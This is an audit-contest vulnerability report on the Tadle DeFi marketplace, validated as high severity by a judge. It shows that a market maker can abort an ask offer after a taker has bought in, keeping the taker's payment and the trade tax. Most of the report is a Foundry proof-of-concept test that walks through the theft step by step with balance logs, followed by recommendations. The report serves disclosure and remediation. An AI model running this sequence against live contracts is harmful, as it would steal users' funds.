Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Market maker exploits vulnerability to steal taker funds by aborting offers post-trading.

Summary

Tadle allows users to create and trade offers in a decentralized marketplace. The protocol permits market makers to close or abort offers they have created before any trading activity occurs. However, a vulnerability in the createOffer(...) and createTaker(...) functions enables a malicious market maker to exploit this process by creating an offer, waiting for a taker to trade on it, and then aborting the offer to reclaim the funds. The market maker can further profit by collecting tax and bounce fees, leaving the taker with nothing. Additionally, the remaining funds in the CapitalPool contract are insufficient to cover all potential losses, making this attack particularly damaging to the ecosystem.

Vulnerability Details

The issue arises when a market maker creates an offer using the createOffer(...) function, which sets the offerStatus to OfferStatus.Virgin. This status indicates that the offer is still open and has no trading activity yet, allowing the market maker to close or abort the offer and retrieve their funds. However, when a taker trades on the offer by calling the createTaker(...) function, the offerStatus remains unchanged, still reflecting the Virgin status. This oversight allows the market maker to cancel or abort the offer after it has been accepted, thereby reclaiming the funds and leaving the taker with nothing. The market maker can even profit from this action by recovering the offer amount and any additional fees, while the taker loses their investment.

POC

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address attacker = vm.addr(1);
address marketMaker = vm.addr(2);
address marketTaker = vm.addr(6);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
address owner = vm.addr(5);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(owner);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, owner);
vm.startPrank(owner);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(attacker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), marketTaker, 10350000000000000);
deal(marketTaker, 12 * 10 ** 18);
deal(address(mockUSDCToken), marketMaker, 12000000000000000);
//
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(marketTaker);
mockUSDCToken.approve(address(marketTaker), type(uint256).max);
vm.prank(marketMaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
// call capital pool to approve tokenmanager to spend the token
capitalPool.approve(address(mockUSDCToken));
}
function test_malicious_market_maker_can_steal_taker_fund() public {
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
// malicious Market Maker, create an offer
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
// log status before any activies
console2.log("Before any activities");
/*
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
// vectim Market Taker, create a taker
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
// let's see both wallets status
console2.log("After taker creation");
console2.log("Market Maker");
/*
walletBalance 0
RefundAmount 0
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
/*
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketTaker);
// @audit : the maket maker can close the offer and the taker can abort the bid but this will be less profitable, he can call both but it will only increase the gas cost as he will get the same result from calling `abortAskOffer(...)`
// malicious Market Maker, close the offer and withdraw the fund
// vm.startPrank(marketMaker);
// mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// preMarktes.closeOffer(stockAddr, offerAddr);
// vm.stopPrank();
vm.prank(marketMaker);
preMarktes.abortAskOffer(stockAddr, offerAddr);
console2.log("After maker abort ask offer");
console2.log("Market Maker");
/*
walletBalance 0
RefundAmount 2000000000000000
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
@audit : so the wallet started with :
collateral 12000000000000000
but after the attack it has
tax 300000000000000
sales revenue 10000000000000000
refund amount 2000000000000000
total 12300000000000000
total profit 12300000000000000 - 12000000000000000 = 300000000000000
@notice : this is without counting if there's any referral bonus
contractBalance 10050000000000000
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
/*
@audit taker gets nothing !!
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketTaker);
uint256 contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contract Balance", contractBalance);
vm.startPrank(marketMaker);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
vm.stopPrank();
console2.log("After taker abort the bid");
console2.log("Market Maker");
/*
@audit : ignore the fact that the claimable amounts are not reset as it's reported in a separate issue
walletBalance 12300000000000000
RefundAmount 2000000000000000
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contractBalance", contractBalance);
vm.stopPrank();
// even if the taker abort the bid he will get nothing
vm.startPrank(marketTaker);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
vm.stopPrank();
console2.log("After taker abort the bid");
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
/*
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
}
function log_claimable_per_address(address wallet) private {
uint256 walletBalance = mockUSDCToken.balanceOf(wallet);
uint256 RefundAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint256 TaxAmount = tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.TaxIncome);
uint256 SalesRevenueAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 BounceAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 PointTokenAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.PointToken);
uint256 RemainingCashAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.RemainingCash);
// console log all
console2.log("logging claimable status for wallet %s ", wallet);
console2.log("walletBalance", walletBalance);
console2.log("RefundAmount", RefundAmount);
console2.log("TaxAmount", TaxAmount);
console2.log("SalesRevenueAmount", SalesRevenueAmount);
console2.log("BounceAmount", BounceAmount);
console2.log("PointTokenAmount", PointTokenAmount);
console2.log("RemainingCashAmount", RemainingCashAmount);
}
}

Impact

This vulnerability enables a malicious market maker to steal a taker's funds by creating an offer, waiting for the taker to accept it, and then aborting the offer to reclaim the funds. The market maker can further increase their profit by collecting tax fees and bounce fees (if eligible), while the taker receives nothing. Although the protocol has a rescue(...) function that could theoretically return the taker's funds, the contract does not have sufficient funds to cover all potential losses, making this attack particularly profitable and harmful to the ecosystem.

Tools Used

Manual code review

Recommendations

The offerStatus should be updated when the taker takes the offer to prevent the market maker from aborting the offer and stealing the taker's funds. It's highly recommended to revist the math and the architecture.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.